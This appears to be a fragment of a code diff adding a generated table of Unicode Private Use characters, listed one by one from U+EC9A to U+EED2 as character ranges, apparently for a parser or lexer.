+ ["\uEC9A", "\uEC9A"], /* Private Use */
+ ["\uEC9B", "\uEC9B"], /* Private Use */
+ ["\uEC9C", "\uEC9C"], /* Private Use */
+ ["\uEC9D", "\uEC9D"], /* Private Use */
+ ["\uEC9E", "\uEC9E"], /* Private Use */
+ ["\uEC9F", "\uEC9F"], /* Private Use */
+ ["\uECA0", "\uECA0"], /* Private Use */
+ ["\uECA1", "\uECA1"], /* Private Use */
+ ["\uECA2", "\uECA2"], /* Private Use */
+ ["\uECA3", "\uECA3"], /* Private Use */
+ ["\uECA4", "\uECA4"], /* Private Use */
+ ["\uECA5", "\uECA5"], /* Private Use */
+ ["\uECA6", "\uECA6"], /* Private Use */
+ ["\uECA7", "\uECA7"], /* Private Use */
+ ["\uECA8", "\uECA8"], /* Private Use */
+ ["\uECA9", "\uECA9"], /* Private Use */
+ ["\uECAA", "\uECAA"], /* Private Use */
+ ["\uECAB", "\uECAB"], /* Private Use */
+ ["\uECAC", "\uECAC"], /* Private Use */
+ ["\uECAD", "\uECAD"], /* Private Use */
+ ["\uECAE", "\uECAE"], /* Private Use */
+ ["\uECAF", "\uECAF"], /* Private Use */
+ ["\uECB0", "\uECB0"], /* Private Use */
+ ["\uECB1", "\uECB1"], /* Private Use */
+ ["\uECB2", "\uECB2"], /* Private Use */
+ ["\uECB3", "\uECB3"], /* Private Use */
+ ["\uECB4", "\uECB4"], /* Private Use */
+ ["\uECB5", "\uECB5"], /* Private Use */
+ ["\uECB6", "\uECB6"], /* Private Use */
+ ["\uECB7", "\uECB7"], /* Private Use */
+ ["\uECB8", "\uECB8"], /* Private Use */
+ ["\uECB9", "\uECB9"], /* Private Use */
+ ["\uECBA", "\uECBA"], /* Private Use */
+ ["\uECBB", "\uECBB"], /* Private Use */
+ ["\uECBC", "\uECBC"], /* Private Use */
+ ["\uECBD", "\uECBD"], /* Private Use */
+ ["\uECBE", "\uECBE"], /* Private Use */
+ ["\uECBF", "\uECBF"], /* Private Use */
+ ["\uECC0", "\uECC0"], /* Private Use */
+ ["\uECC1", "\uECC1"], /* Private Use */
+ ["\uECC2", "\uECC2"], /* Private Use */
+ ["\uECC3", "\uECC3"], /* Private Use */
+ ["\uECC4", "\uECC4"], /* Private Use */
+ ["\uECC5", "\uECC5"], /* Private Use */
+ ["\uECC6", "\uECC6"], /* Private Use */
+ ["\uECC7", "\uECC7"], /* Private Use */
+ ["\uECC8", "\uECC8"], /* Private Use */
+ ["\uECC9", "\uECC9"], /* Private Use */
+ ["\uECCA", "\uECCA"], /* Private Use */
+ ["\uECCB", "\uECCB"], /* Private Use */
+ ["\uECCC", "\uECCC"], /* Private Use */
+ ["\uECCD", "\uECCD"], /* Private Use */
+ ["\uECCE", "\uECCE"], /* Private Use */
+ ["\uECCF", "\uECCF"], /* Private Use */
+ ["\uECD0", "\uECD0"], /* Private Use */
+ ["\uECD1", "\uECD1"], /* Private Use */
+ ["\uECD2", "\uECD2"], /* Private Use */
+ ["\uECD3", "\uECD3"], /* Private Use */
+ ["\uECD4", "\uECD4"], /* Private Use */
+ ["\uECD5", "\uECD5"], /* Private Use */
+ ["\uECD6", "\uECD6"], /* Private Use */
+ ["\uECD7", "\uECD7"], /* Private Use */
+ ["\uECD8", "\uECD8"], /* Private Use */
+ ["\uECD9", "\uECD9"], /* Private Use */
+ ["\uECDA", "\uECDA"], /* Private Use */
+ ["\uECDB", "\uECDB"], /* Private Use */
+ ["\uECDC", "\uECDC"], /* Private Use */
+ ["\uECDD", "\uECDD"], /* Private Use */
+ ["\uECDE", "\uECDE"], /* Private Use */
+ ["\uECDF", "\uECDF"], /* Private Use */
+ ["\uECE0", "\uECE0"], /* Private Use */
+ ["\uECE1", "\uECE1"], /* Private Use */
+ ["\uECE2", "\uECE2"], /* Private Use */
+ ["\uECE3", "\uECE3"], /* Private Use */
+ ["\uECE4", "\uECE4"], /* Private Use */
+ ["\uECE5", "\uECE5"], /* Private Use */
+ ["\uECE6", "\uECE6"], /* Private Use */
+ ["\uECE7", "\uECE7"], /* Private Use */
+ ["\uECE8", "\uECE8"], /* Private Use */
+ ["\uECE9", "\uECE9"], /* Private Use */
+ ["\uECEA", "\uECEA"], /* Private Use */
+ ["\uECEB", "\uECEB"], /* Private Use */
+ ["\uECEC", "\uECEC"], /* Private Use */
+ ["\uECED", "\uECED"], /* Private Use */
+ ["\uECEE", "\uECEE"], /* Private Use */
+ ["\uECEF", "\uECEF"], /* Private Use */
+ ["\uECF0", "\uECF0"], /* Private Use */
+ ["\uECF1", "\uECF1"], /* Private Use */
+ ["\uECF2", "\uECF2"], /* Private Use */
+ ["\uECF3", "\uECF3"], /* Private Use */
+ ["\uECF4", "\uECF4"], /* Private Use */
+ ["\uECF5", "\uECF5"], /* Private Use */
+ ["\uECF6", "\uECF6"], /* Private Use */
+ ["\uECF7", "\uECF7"], /* Private Use */
+ ["\uECF8", "\uECF8"], /* Private Use */
+ ["\uECF9", "\uECF9"], /* Private Use */
+ ["\uECFA", "\uECFA"], /* Private Use */
+ ["\uECFB", "\uECFB"], /* Private Use */
+ ["\uECFC", "\uECFC"], /* Private Use */
+ ["\uECFD", "\uECFD"], /* Private Use */
+ ["\uECFE", "\uECFE"], /* Private Use */
+ ["\uECFF", "\uECFF"], /* Private Use */
+ ["\uED00", "\uED00"], /* Private Use */
+ ["\uED01", "\uED01"], /* Private Use */
+ ["\uED02", "\uED02"], /* Private Use */
+ ["\uED03", "\uED03"], /* Private Use */
+ ["\uED04", "\uED04"], /* Private Use */
+ ["\uED05", "\uED05"], /* Private Use */
+ ["\uED06", "\uED06"], /* Private Use */
+ ["\uED07", "\uED07"], /* Private Use */
+ ["\uED08", "\uED08"], /* Private Use */
+ ["\uED09", "\uED09"], /* Private Use */
+ ["\uED0A", "\uED0A"], /* Private Use */
+ ["\uED0B", "\uED0B"], /* Private Use */
+ ["\uED0C", "\uED0C"], /* Private Use */
+ ["\uED0D", "\uED0D"], /* Private Use */
+ ["\uED0E", "\uED0E"], /* Private Use */
+ ["\uED0F", "\uED0F"], /* Private Use */
+ ["\uED10", "\uED10"], /* Private Use */
+ ["\uED11", "\uED11"], /* Private Use */
+ ["\uED12", "\uED12"], /* Private Use */
+ ["\uED13", "\uED13"], /* Private Use */
+ ["\uED14", "\uED14"], /* Private Use */
+ ["\uED15", "\uED15"], /* Private Use */
+ ["\uED16", "\uED16"], /* Private Use */
+ ["\uED17", "\uED17"], /* Private Use */
+ ["\uED18", "\uED18"], /* Private Use */
+ ["\uED19", "\uED19"], /* Private Use */
+ ["\uED1A", "\uED1A"], /* Private Use */
+ ["\uED1B", "\uED1B"], /* Private Use */
+ ["\uED1C", "\uED1C"], /* Private Use */
+ ["\uED1D", "\uED1D"], /* Private Use */
+ ["\uED1E", "\uED1E"], /* Private Use */
+ ["\uED1F", "\uED1F"], /* Private Use */
+ ["\uED20", "\uED20"], /* Private Use */
+ ["\uED21", "\uED21"], /* Private Use */
+ ["\uED22", "\uED22"], /* Private Use */
+ ["\uED23", "\uED23"], /* Private Use */
+ ["\uED24", "\uED24"], /* Private Use */
+ ["\uED25", "\uED25"], /* Private Use */
+ ["\uED26", "\uED26"], /* Private Use */
+ ["\uED27", "\uED27"], /* Private Use */
+ ["\uED28", "\uED28"], /* Private Use */
+ ["\uED29", "\uED29"], /* Private Use */
+ ["\uED2A", "\uED2A"], /* Private Use */
+ ["\uED2B", "\uED2B"], /* Private Use */
+ ["\uED2C", "\uED2C"], /* Private Use */
+ ["\uED2D", "\uED2D"], /* Private Use */
+ ["\uED2E", "\uED2E"], /* Private Use */
+ ["\uED2F", "\uED2F"], /* Private Use */
+ ["\uED30", "\uED30"], /* Private Use */
+ ["\uED31", "\uED31"], /* Private Use */
+ ["\uED32", "\uED32"], /* Private Use */
+ ["\uED33", "\uED33"], /* Private Use */
+ ["\uED34", "\uED34"], /* Private Use */
+ ["\uED35", "\uED35"], /* Private Use */
+ ["\uED36", "\uED36"], /* Private Use */
+ ["\uED37", "\uED37"], /* Private Use */
+ ["\uED38", "\uED38"], /* Private Use */
+ ["\uED39", "\uED39"], /* Private Use */
+ ["\uED3A", "\uED3A"], /* Private Use */
+ ["\uED3B", "\uED3B"], /* Private Use */
+ ["\uED3C", "\uED3C"], /* Private Use */
+ ["\uED3D", "\uED3D"], /* Private Use */
+ ["\uED3E", "\uED3E"], /* Private Use */
+ ["\uED3F", "\uED3F"], /* Private Use */
+ ["\uED40", "\uED40"], /* Private Use */
+ ["\uED41", "\uED41"], /* Private Use */
+ ["\uED42", "\uED42"], /* Private Use */
+ ["\uED43", "\uED43"], /* Private Use */
+ ["\uED44", "\uED44"], /* Private Use */
+ ["\uED45", "\uED45"], /* Private Use */
+ ["\uED46", "\uED46"], /* Private Use */
+ ["\uED47", "\uED47"], /* Private Use */
+ ["\uED48", "\uED48"], /* Private Use */
+ ["\uED49", "\uED49"], /* Private Use */
+ ["\uED4A", "\uED4A"], /* Private Use */
+ ["\uED4B", "\uED4B"], /* Private Use */
+ ["\uED4C", "\uED4C"], /* Private Use */
+ ["\uED4D", "\uED4D"], /* Private Use */
+ ["\uED4E", "\uED4E"], /* Private Use */
+ ["\uED4F", "\uED4F"], /* Private Use */
+ ["\uED50", "\uED50"], /* Private Use */
+ ["\uED51", "\uED51"], /* Private Use */
+ ["\uED52", "\uED52"], /* Private Use */
+ ["\uED53", "\uED53"], /* Private Use */
+ ["\uED54", "\uED54"], /* Private Use */
+ ["\uED55", "\uED55"], /* Private Use */
+ ["\uED56", "\uED56"], /* Private Use */
+ ["\uED57", "\uED57"], /* Private Use */
+ ["\uED58", "\uED58"], /* Private Use */
+ ["\uED59", "\uED59"], /* Private Use */
+ ["\uED5A", "\uED5A"], /* Private Use */
+ ["\uED5B", "\uED5B"], /* Private Use */
+ ["\uED5C", "\uED5C"], /* Private Use */
+ ["\uED5D", "\uED5D"], /* Private Use */
+ ["\uED5E", "\uED5E"], /* Private Use */
+ ["\uED5F", "\uED5F"], /* Private Use */
+ ["\uED60", "\uED60"], /* Private Use */
+ ["\uED61", "\uED61"], /* Private Use */
+ ["\uED62", "\uED62"], /* Private Use */
+ ["\uED63", "\uED63"], /* Private Use */
+ ["\uED64", "\uED64"], /* Private Use */
+ ["\uED65", "\uED65"], /* Private Use */
+ ["\uED66", "\uED66"], /* Private Use */
+ ["\uED67", "\uED67"], /* Private Use */
+ ["\uED68", "\uED68"], /* Private Use */
+ ["\uED69", "\uED69"], /* Private Use */
+ ["\uED6A", "\uED6A"], /* Private Use */
+ ["\uED6B", "\uED6B"], /* Private Use */
+ ["\uED6C", "\uED6C"], /* Private Use */
+ ["\uED6D", "\uED6D"], /* Private Use */
+ ["\uED6E", "\uED6E"], /* Private Use */
+ ["\uED6F", "\uED6F"], /* Private Use */
+ ["\uED70", "\uED70"], /* Private Use */
+ ["\uED71", "\uED71"], /* Private Use */
+ ["\uED72", "\uED72"], /* Private Use */
+ ["\uED73", "\uED73"], /* Private Use */
+ ["\uED74", "\uED74"], /* Private Use */
+ ["\uED75", "\uED75"], /* Private Use */
+ ["\uED76", "\uED76"], /* Private Use */
+ ["\uED77", "\uED77"], /* Private Use */
+ ["\uED78", "\uED78"], /* Private Use */
+ ["\uED79", "\uED79"], /* Private Use */
+ ["\uED7A", "\uED7A"], /* Private Use */
+ ["\uED7B", "\uED7B"], /* Private Use */
+ ["\uED7C", "\uED7C"], /* Private Use */
+ ["\uED7D", "\uED7D"], /* Private Use */
+ ["\uED7E", "\uED7E"], /* Private Use */
+ ["\uED7F", "\uED7F"], /* Private Use */
+ ["\uED80", "\uED80"], /* Private Use */
+ ["\uED81", "\uED81"], /* Private Use */
+ ["\uED82", "\uED82"], /* Private Use */
+ ["\uED83", "\uED83"], /* Private Use */
+ ["\uED84", "\uED84"], /* Private Use */
+ ["\uED85", "\uED85"], /* Private Use */
+ ["\uED86", "\uED86"], /* Private Use */
+ ["\uED87", "\uED87"], /* Private Use */
+ ["\uED88", "\uED88"], /* Private Use */
+ ["\uED89", "\uED89"], /* Private Use */
+ ["\uED8A", "\uED8A"], /* Private Use */
+ ["\uED8B", "\uED8B"], /* Private Use */
+ ["\uED8C", "\uED8C"], /* Private Use */
+ ["\uED8D", "\uED8D"], /* Private Use */
+ ["\uED8E", "\uED8E"], /* Private Use */
+ ["\uED8F", "\uED8F"], /* Private Use */
+ ["\uED90", "\uED90"], /* Private Use */
+ ["\uED91", "\uED91"], /* Private Use */
+ ["\uED92", "\uED92"], /* Private Use */
+ ["\uED93", "\uED93"], /* Private Use */
+ ["\uED94", "\uED94"], /* Private Use */
+ ["\uED95", "\uED95"], /* Private Use */
+ ["\uED96", "\uED96"], /* Private Use */
+ ["\uED97", "\uED97"], /* Private Use */
+ ["\uED98", "\uED98"], /* Private Use */
+ ["\uED99", "\uED99"], /* Private Use */
+ ["\uED9A", "\uED9A"], /* Private Use */
+ ["\uED9B", "\uED9B"], /* Private Use */
+ ["\uED9C", "\uED9C"], /* Private Use */
+ ["\uED9D", "\uED9D"], /* Private Use */
+ ["\uED9E", "\uED9E"], /* Private Use */
+ ["\uED9F", "\uED9F"], /* Private Use */
+ ["\uEDA0", "\uEDA0"], /* Private Use */
+ ["\uEDA1", "\uEDA1"], /* Private Use */
+ ["\uEDA2", "\uEDA2"], /* Private Use */
+ ["\uEDA3", "\uEDA3"], /* Private Use */
+ ["\uEDA4", "\uEDA4"], /* Private Use */
+ ["\uEDA5", "\uEDA5"], /* Private Use */
+ ["\uEDA6", "\uEDA6"], /* Private Use */
+ ["\uEDA7", "\uEDA7"], /* Private Use */
+ ["\uEDA8", "\uEDA8"], /* Private Use */
+ ["\uEDA9", "\uEDA9"], /* Private Use */
+ ["\uEDAA", "\uEDAA"], /* Private Use */
+ ["\uEDAB", "\uEDAB"], /* Private Use */
+ ["\uEDAC", "\uEDAC"], /* Private Use */
+ ["\uEDAD", "\uEDAD"], /* Private Use */
+ ["\uEDAE", "\uEDAE"], /* Private Use */
+ ["\uEDAF", "\uEDAF"], /* Private Use */
+ ["\uEDB0", "\uEDB0"], /* Private Use */
+ ["\uEDB1", "\uEDB1"], /* Private Use */
+ ["\uEDB2", "\uEDB2"], /* Private Use */
+ ["\uEDB3", "\uEDB3"], /* Private Use */
+ ["\uEDB4", "\uEDB4"], /* Private Use */
+ ["\uEDB5", "\uEDB5"], /* Private Use */
+ ["\uEDB6", "\uEDB6"], /* Private Use */
+ ["\uEDB7", "\uEDB7"], /* Private Use */
+ ["\uEDB8", "\uEDB8"], /* Private Use */
+ ["\uEDB9", "\uEDB9"], /* Private Use */
+ ["\uEDBA", "\uEDBA"], /* Private Use */
+ ["\uEDBB", "\uEDBB"], /* Private Use */
+ ["\uEDBC", "\uEDBC"], /* Private Use */
+ ["\uEDBD", "\uEDBD"], /* Private Use */
+ ["\uEDBE", "\uEDBE"], /* Private Use */
+ ["\uEDBF", "\uEDBF"], /* Private Use */
+ ["\uEDC0", "\uEDC0"], /* Private Use */
+ ["\uEDC1", "\uEDC1"], /* Private Use */
+ ["\uEDC2", "\uEDC2"], /* Private Use */
+ ["\uEDC3", "\uEDC3"], /* Private Use */
+ ["\uEDC4", "\uEDC4"], /* Private Use */
+ ["\uEDC5", "\uEDC5"], /* Private Use */
+ ["\uEDC6", "\uEDC6"], /* Private Use */
+ ["\uEDC7", "\uEDC7"], /* Private Use */
+ ["\uEDC8", "\uEDC8"], /* Private Use */
+ ["\uEDC9", "\uEDC9"], /* Private Use */
+ ["\uEDCA", "\uEDCA"], /* Private Use */
+ ["\uEDCB", "\uEDCB"], /* Private Use */
+ ["\uEDCC", "\uEDCC"], /* Private Use */
+ ["\uEDCD", "\uEDCD"], /* Private Use */
+ ["\uEDCE", "\uEDCE"], /* Private Use */
+ ["\uEDCF", "\uEDCF"], /* Private Use */
+ ["\uEDD0", "\uEDD0"], /* Private Use */
+ ["\uEDD1", "\uEDD1"], /* Private Use */
+ ["\uEDD2", "\uEDD2"], /* Private Use */
+ ["\uEDD3", "\uEDD3"], /* Private Use */
+ ["\uEDD4", "\uEDD4"], /* Private Use */
+ ["\uEDD5", "\uEDD5"], /* Private Use */
+ ["\uEDD6", "\uEDD6"], /* Private Use */
+ ["\uEDD7", "\uEDD7"], /* Private Use */
+ ["\uEDD8", "\uEDD8"], /* Private Use */
+ ["\uEDD9", "\uEDD9"], /* Private Use */
+ ["\uEDDA", "\uEDDA"], /* Private Use */
+ ["\uEDDB", "\uEDDB"], /* Private Use */
+ ["\uEDDC", "\uEDDC"], /* Private Use */
+ ["\uEDDD", "\uEDDD"], /* Private Use */
+ ["\uEDDE", "\uEDDE"], /* Private Use */
+ ["\uEDDF", "\uEDDF"], /* Private Use */
+ ["\uEDE0", "\uEDE0"], /* Private Use */
+ ["\uEDE1", "\uEDE1"], /* Private Use */
+ ["\uEDE2", "\uEDE2"], /* Private Use */
+ ["\uEDE3", "\uEDE3"], /* Private Use */
+ ["\uEDE4", "\uEDE4"], /* Private Use */
+ ["\uEDE5", "\uEDE5"], /* Private Use */
+ ["\uEDE6", "\uEDE6"], /* Private Use */
+ ["\uEDE7", "\uEDE7"], /* Private Use */
+ ["\uEDE8", "\uEDE8"], /* Private Use */
+ ["\uEDE9", "\uEDE9"], /* Private Use */
+ ["\uEDEA", "\uEDEA"], /* Private Use */
+ ["\uEDEB", "\uEDEB"], /* Private Use */
+ ["\uEDEC", "\uEDEC"], /* Private Use */
+ ["\uEDED", "\uEDED"], /* Private Use */
+ ["\uEDEE", "\uEDEE"], /* Private Use */
+ ["\uEDEF", "\uEDEF"], /* Private Use */
+ ["\uEDF0", "\uEDF0"], /* Private Use */
+ ["\uEDF1", "\uEDF1"], /* Private Use */
+ ["\uEDF2", "\uEDF2"], /* Private Use */
+ ["\uEDF3", "\uEDF3"], /* Private Use */
+ ["\uEDF4", "\uEDF4"], /* Private Use */
+ ["\uEDF5", "\uEDF5"], /* Private Use */
+ ["\uEDF6", "\uEDF6"], /* Private Use */
+ ["\uEDF7", "\uEDF7"], /* Private Use */
+ ["\uEDF8", "\uEDF8"], /* Private Use */
+ ["\uEDF9", "\uEDF9"], /* Private Use */
+ ["\uEDFA", "\uEDFA"], /* Private Use */
+ ["\uEDFB", "\uEDFB"], /* Private Use */
+ ["\uEDFC", "\uEDFC"], /* Private Use */
+ ["\uEDFD", "\uEDFD"], /* Private Use */
+ ["\uEDFE", "\uEDFE"], /* Private Use */
+ ["\uEDFF", "\uEDFF"], /* Private Use */
+ ["\uEE00", "\uEE00"], /* Private Use */
+ ["\uEE01", "\uEE01"], /* Private Use */
+ ["\uEE02", "\uEE02"], /* Private Use */
+ ["\uEE03", "\uEE03"], /* Private Use */
+ ["\uEE04", "\uEE04"], /* Private Use */
+ ["\uEE05", "\uEE05"], /* Private Use */
+ ["\uEE06", "\uEE06"], /* Private Use */
+ ["\uEE07", "\uEE07"], /* Private Use */
+ ["\uEE08", "\uEE08"], /* Private Use */
+ ["\uEE09", "\uEE09"], /* Private Use */
+ ["\uEE0A", "\uEE0A"], /* Private Use */
+ ["\uEE0B", "\uEE0B"], /* Private Use */
+ ["\uEE0C", "\uEE0C"], /* Private Use */
+ ["\uEE0D", "\uEE0D"], /* Private Use */
+ ["\uEE0E", "\uEE0E"], /* Private Use */
+ ["\uEE0F", "\uEE0F"], /* Private Use */
+ ["\uEE10", "\uEE10"], /* Private Use */
+ ["\uEE11", "\uEE11"], /* Private Use */
+ ["\uEE12", "\uEE12"], /* Private Use */
+ ["\uEE13", "\uEE13"], /* Private Use */
+ ["\uEE14", "\uEE14"], /* Private Use */
+ ["\uEE15", "\uEE15"], /* Private Use */
+ ["\uEE16", "\uEE16"], /* Private Use */
+ ["\uEE17", "\uEE17"], /* Private Use */
+ ["\uEE18", "\uEE18"], /* Private Use */
+ ["\uEE19", "\uEE19"], /* Private Use */
+ ["\uEE1A", "\uEE1A"], /* Private Use */
+ ["\uEE1B", "\uEE1B"], /* Private Use */
+ ["\uEE1C", "\uEE1C"], /* Private Use */
+ ["\uEE1D", "\uEE1D"], /* Private Use */
+ ["\uEE1E", "\uEE1E"], /* Private Use */
+ ["\uEE1F", "\uEE1F"], /* Private Use */
+ ["\uEE20", "\uEE20"], /* Private Use */
+ ["\uEE21", "\uEE21"], /* Private Use */
+ ["\uEE22", "\uEE22"], /* Private Use */
+ ["\uEE23", "\uEE23"], /* Private Use */
+ ["\uEE24", "\uEE24"], /* Private Use */
+ ["\uEE25", "\uEE25"], /* Private Use */
+ ["\uEE26", "\uEE26"], /* Private Use */
+ ["\uEE27", "\uEE27"], /* Private Use */
+ ["\uEE28", "\uEE28"], /* Private Use */
+ ["\uEE29", "\uEE29"], /* Private Use */
+ ["\uEE2A", "\uEE2A"], /* Private Use */
+ ["\uEE2B", "\uEE2B"], /* Private Use */
+ ["\uEE2C", "\uEE2C"], /* Private Use */
+ ["\uEE2D", "\uEE2D"], /* Private Use */
+ ["\uEE2E", "\uEE2E"], /* Private Use */
+ ["\uEE2F", "\uEE2F"], /* Private Use */
+ ["\uEE30", "\uEE30"], /* Private Use */
+ ["\uEE31", "\uEE31"], /* Private Use */
+ ["\uEE32", "\uEE32"], /* Private Use */
+ ["\uEE33", "\uEE33"], /* Private Use */
+ ["\uEE34", "\uEE34"], /* Private Use */
+ ["\uEE35", "\uEE35"], /* Private Use */
+ ["\uEE36", "\uEE36"], /* Private Use */
+ ["\uEE37", "\uEE37"], /* Private Use */
+ ["\uEE38", "\uEE38"], /* Private Use */
+ ["\uEE39", "\uEE39"], /* Private Use */
+ ["\uEE3A", "\uEE3A"], /* Private Use */
+ ["\uEE3B", "\uEE3B"], /* Private Use */
+ ["\uEE3C", "\uEE3C"], /* Private Use */
+ ["\uEE3D", "\uEE3D"], /* Private Use */
+ ["\uEE3E", "\uEE3E"], /* Private Use */
+ ["\uEE3F", "\uEE3F"], /* Private Use */
+ ["\uEE40", "\uEE40"], /* Private Use */
+ ["\uEE41", "\uEE41"], /* Private Use */
+ ["\uEE42", "\uEE42"], /* Private Use */
+ ["\uEE43", "\uEE43"], /* Private Use */
+ ["\uEE44", "\uEE44"], /* Private Use */
+ ["\uEE45", "\uEE45"], /* Private Use */
+ ["\uEE46", "\uEE46"], /* Private Use */
+ ["\uEE47", "\uEE47"], /* Private Use */
+ ["\uEE48", "\uEE48"], /* Private Use */
+ ["\uEE49", "\uEE49"], /* Private Use */
+ ["\uEE4A", "\uEE4A"], /* Private Use */
+ ["\uEE4B", "\uEE4B"], /* Private Use */
+ ["\uEE4C", "\uEE4C"], /* Private Use */
+ ["\uEE4D", "\uEE4D"], /* Private Use */
+ ["\uEE4E", "\uEE4E"], /* Private Use */
+ ["\uEE4F", "\uEE4F"], /* Private Use */
+ ["\uEE50", "\uEE50"], /* Private Use */
+ ["\uEE51", "\uEE51"], /* Private Use */
+ ["\uEE52", "\uEE52"], /* Private Use */
+ ["\uEE53", "\uEE53"], /* Private Use */
+ ["\uEE54", "\uEE54"], /* Private Use */
+ ["\uEE55", "\uEE55"], /* Private Use */
+ ["\uEE56", "\uEE56"], /* Private Use */
+ ["\uEE57", "\uEE57"], /* Private Use */
+ ["\uEE58", "\uEE58"], /* Private Use */
+ ["\uEE59", "\uEE59"], /* Private Use */
+ ["\uEE5A", "\uEE5A"], /* Private Use */
+ ["\uEE5B", "\uEE5B"], /* Private Use */
+ ["\uEE5C", "\uEE5C"], /* Private Use */
+ ["\uEE5D", "\uEE5D"], /* Private Use */
+ ["\uEE5E", "\uEE5E"], /* Private Use */
+ ["\uEE5F", "\uEE5F"], /* Private Use */
+ ["\uEE60", "\uEE60"], /* Private Use */
+ ["\uEE61", "\uEE61"], /* Private Use */
+ ["\uEE62", "\uEE62"], /* Private Use */
+ ["\uEE63", "\uEE63"], /* Private Use */
+ ["\uEE64", "\uEE64"], /* Private Use */
+ ["\uEE65", "\uEE65"], /* Private Use */
+ ["\uEE66", "\uEE66"], /* Private Use */
+ ["\uEE67", "\uEE67"], /* Private Use */
+ ["\uEE68", "\uEE68"], /* Private Use */
+ ["\uEE69", "\uEE69"], /* Private Use */
+ ["\uEE6A", "\uEE6A"], /* Private Use */
+ ["\uEE6B", "\uEE6B"], /* Private Use */
+ ["\uEE6C", "\uEE6C"], /* Private Use */
+ ["\uEE6D", "\uEE6D"], /* Private Use */
+ ["\uEE6E", "\uEE6E"], /* Private Use */
+ ["\uEE6F", "\uEE6F"], /* Private Use */
+ ["\uEE70", "\uEE70"], /* Private Use */
+ ["\uEE71", "\uEE71"], /* Private Use */
+ ["\uEE72", "\uEE72"], /* Private Use */
+ ["\uEE73", "\uEE73"], /* Private Use */
+ ["\uEE74", "\uEE74"], /* Private Use */
+ ["\uEE75", "\uEE75"], /* Private Use */
+ ["\uEE76", "\uEE76"], /* Private Use */
+ ["\uEE77", "\uEE77"], /* Private Use */
+ ["\uEE78", "\uEE78"], /* Private Use */
+ ["\uEE79", "\uEE79"], /* Private Use */
+ ["\uEE7A", "\uEE7A"], /* Private Use */
+ ["\uEE7B", "\uEE7B"], /* Private Use */
+ ["\uEE7C", "\uEE7C"], /* Private Use */
+ ["\uEE7D", "\uEE7D"], /* Private Use */
+ ["\uEE7E", "\uEE7E"], /* Private Use */
+ ["\uEE7F", "\uEE7F"], /* Private Use */
+ ["\uEE80", "\uEE80"], /* Private Use */
+ ["\uEE81", "\uEE81"], /* Private Use */
+ ["\uEE82", "\uEE82"], /* Private Use */
+ ["\uEE83", "\uEE83"], /* Private Use */
+ ["\uEE84", "\uEE84"], /* Private Use */
+ ["\uEE85", "\uEE85"], /* Private Use */
+ ["\uEE86", "\uEE86"], /* Private Use */
+ ["\uEE87", "\uEE87"], /* Private Use */
+ ["\uEE88", "\uEE88"], /* Private Use */
+ ["\uEE89", "\uEE89"], /* Private Use */
+ ["\uEE8A", "\uEE8A"], /* Private Use */
+ ["\uEE8B", "\uEE8B"], /* Private Use */
+ ["\uEE8C", "\uEE8C"], /* Private Use */
+ ["\uEE8D", "\uEE8D"], /* Private Use */
+ ["\uEE8E", "\uEE8E"], /* Private Use */
+ ["\uEE8F", "\uEE8F"], /* Private Use */
+ ["\uEE90", "\uEE90"], /* Private Use */
+ ["\uEE91", "\uEE91"], /* Private Use */
+ ["\uEE92", "\uEE92"], /* Private Use */
+ ["\uEE93", "\uEE93"], /* Private Use */
+ ["\uEE94", "\uEE94"], /* Private Use */
+ ["\uEE95", "\uEE95"], /* Private Use */
+ ["\uEE96", "\uEE96"], /* Private Use */
+ ["\uEE97", "\uEE97"], /* Private Use */
+ ["\uEE98", "\uEE98"], /* Private Use */
+ ["\uEE99", "\uEE99"], /* Private Use */
+ ["\uEE9A", "\uEE9A"], /* Private Use */
+ ["\uEE9B", "\uEE9B"], /* Private Use */
+ ["\uEE9C", "\uEE9C"], /* Private Use */
+ ["\uEE9D", "\uEE9D"], /* Private Use */
+ ["\uEE9E", "\uEE9E"], /* Private Use */
+ ["\uEE9F", "\uEE9F"], /* Private Use */
+ ["\uEEA0", "\uEEA0"], /* Private Use */
+ ["\uEEA1", "\uEEA1"], /* Private Use */
+ ["\uEEA2", "\uEEA2"], /* Private Use */
+ ["\uEEA3", "\uEEA3"], /* Private Use */
+ ["\uEEA4", "\uEEA4"], /* Private Use */
+ ["\uEEA5", "\uEEA5"], /* Private Use */
+ ["\uEEA6", "\uEEA6"], /* Private Use */
+ ["\uEEA7", "\uEEA7"], /* Private Use */
+ ["\uEEA8", "\uEEA8"], /* Private Use */
+ ["\uEEA9", "\uEEA9"], /* Private Use */
+ ["\uEEAA", "\uEEAA"], /* Private Use */
+ ["\uEEAB", "\uEEAB"], /* Private Use */
+ ["\uEEAC", "\uEEAC"], /* Private Use */
+ ["\uEEAD", "\uEEAD"], /* Private Use */
+ ["\uEEAE", "\uEEAE"], /* Private Use */
+ ["\uEEAF", "\uEEAF"], /* Private Use */
+ ["\uEEB0", "\uEEB0"], /* Private Use */
+ ["\uEEB1", "\uEEB1"], /* Private Use */
+ ["\uEEB2", "\uEEB2"], /* Private Use */
+ ["\uEEB3", "\uEEB3"], /* Private Use */
+ ["\uEEB4", "\uEEB4"], /* Private Use */
+ ["\uEEB5", "\uEEB5"], /* Private Use */
+ ["\uEEB6", "\uEEB6"], /* Private Use */
+ ["\uEEB7", "\uEEB7"], /* Private Use */
+ ["\uEEB8", "\uEEB8"], /* Private Use */
+ ["\uEEB9", "\uEEB9"], /* Private Use */
+ ["\uEEBA", "\uEEBA"], /* Private Use */
+ ["\uEEBB", "\uEEBB"], /* Private Use */
+ ["\uEEBC", "\uEEBC"], /* Private Use */
+ ["\uEEBD", "\uEEBD"], /* Private Use */
+ ["\uEEBE", "\uEEBE"], /* Private Use */
+ ["\uEEBF", "\uEEBF"], /* Private Use */
+ ["\uEEC0", "\uEEC0"], /* Private Use */
+ ["\uEEC1", "\uEEC1"], /* Private Use */
+ ["\uEEC2", "\uEEC2"], /* Private Use */
+ ["\uEEC3", "\uEEC3"], /* Private Use */
+ ["\uEEC4", "\uEEC4"], /* Private Use */
+ ["\uEEC5", "\uEEC5"], /* Private Use */
+ ["\uEEC6", "\uEEC6"], /* Private Use */
+ ["\uEEC7", "\uEEC7"], /* Private Use */
+ ["\uEEC8", "\uEEC8"], /* Private Use */
+ ["\uEEC9", "\uEEC9"], /* Private Use */
+ ["\uEECA", "\uEECA"], /* Private Use */
+ ["\uEECB", "\uEECB"], /* Private Use */
+ ["\uEECC", "\uEECC"], /* Private Use */
+ ["\uEECD", "\uEECD"], /* Private Use */
+ ["\uEECE", "\uEECE"], /* Private Use */
+ ["\uEECF", "\uEECF"], /* Private Use */
+ ["\uEED0", "\uEED0"], /* Private Use */
+ ["\uEED1", "\uEED1"], /* Private Use */
+ ["\uEED2", "\uEED2"], /* Private Use */
